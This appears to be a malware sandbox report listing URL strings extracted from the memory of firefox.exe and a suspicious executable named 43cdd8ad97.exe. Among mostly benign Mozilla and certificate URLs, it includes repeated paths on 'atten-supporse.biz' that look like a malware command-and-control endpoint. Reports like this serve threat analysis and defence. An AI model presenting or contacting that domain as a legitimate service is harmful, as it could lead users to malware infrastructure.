Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalPropertieshttp://mozilla.org/#/prope
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0http://mozilla.org/#/properties/branches/anyOf/
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slughttp://mozilla.org/#/properties/boolea
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/itemshttp://mozilla.org/#/properties/featureIdshttp://mozil
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationblocklisted:FEATURE_FAILURE_PARSE_DRIVER
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slughttp://mozilla.org/#/properties/appIdAn
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescriptionMicrosoft
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingNamehttp://mozilla.org/#/properties/branches/anyOf/1http:/
Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 00000021.00000002.3232920233.00002EB7FEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/L
Source: firefox.exe, 00000021.00000003.3079824771.00000209FD4A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3056291144.00000209FD2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198999420.00000209F7B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3048391755.00000209FD653000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3021987189.00000209F64F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F6603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7CD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3102688011.00000209F6FA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3111952972.00000209FD3D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3175603974.00000209F64DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3146776275.00000209F0EC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3197203728.00000209F792D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3166315507.00000209F5603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3160273431.00000209F4C9F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198999420.00000209F7B8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3232920233.00002EB7FEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000021.00000002.3176752055.00000209F6503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000021.00000002.3176752055.00000209F6503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000021.00000002.3148604180.00000209F137D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3165454493.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3163189806.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3254751596.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: file.exe, file.exe, 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000021.00000002.3225302939.00000209FF8B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000021.00000002.3164594918.00000209F5351000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F17AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1748000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092654216.00000209F7C75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3169435535.00000209F5903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6EE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7C4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F17B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulObserver
Source: firefox.exe, 00000021.00000003.3092654216.00000209F7C6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 00000021.00000003.3092654216.00000209F7C6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulp
Source: file.exe, 00000000.00000002.2681878728.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 43cdd8ad97.exe, 00000011.00000003.2916095631.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3130961745.00000000056DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD15B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD43F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F771A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000021.00000002.3145566009.00000209F0D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000021.00000002.3206895801.00000209F8D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000021.00000002.3215510453.00000209FD4A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3079824771.00000209FD4A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000021.00000002.3212917829.00000209FD2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3088069984.00000209FD2CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3056291144.00000209FD2CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6E5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F777A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3173030335.00000209F602E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3230150203.00000B079E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000021.00000002.3145566009.00000209F0D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: 43cdd8ad97.exe, 00000011.00000003.2947525798.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz
Source: 43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3201468255.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 43cdd8ad97.exe, 00000013.00000003.3255766950.0000000000DED000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3254949889.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/--#
Source: 43cdd8ad97.exe, 00000011.00000003.2972911778.0000000000EE4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2978240135.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/E
Source: 43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/I#
Source: 43cdd8ad97.exe, 00000011.00000003.3172841206.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/NzDg
Source: 43cdd8ad97.exe, 00000013.00000003.3201240897.0000000000DE1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3199935113.0000000000DE1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3201468255.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/a#Bb
Source: 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3255085909.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3162713476.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 43cdd8ad97.exe, 00000011.00000003.3170621924.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3173457358.0000000000F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiDP
Source: 43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apigcn
Source: 43cdd8ad97.exe, 00000011.00000003.3170621924.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3173457358.0000000000F0C000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3162174013.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3132154531.0000000005560000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3123134468.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3173036050.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3172736859.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3128371364.0000000005560000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3131857487.000000000555E000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3162713476.0000000005560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apim
Source: 43cdd8ad97.exe, 00000011.00000003.3172341828.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3043637219.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apip
Source: 43cdd8ad97.exe, 00000011.00000003.2977997084.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3040441279.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2998148229.0000000000F00000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2971261027.0000000000F02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apist_act
Source: 43cdd8ad97.exe, 00000011.00000003.2942728179.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/l
Source: 43cdd8ad97.exe, 00000013.00000003.3228050816.000000000554B000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3212228037.000000000554B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/pi
Source: 43cdd8ad97.exe, 00000011.00000003.3172841206.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/~z
Source: 43cdd8ad97.exe, 00000013.00000003.3255085909.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3165454493.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3163189806.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiK
Source: 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiYV_b
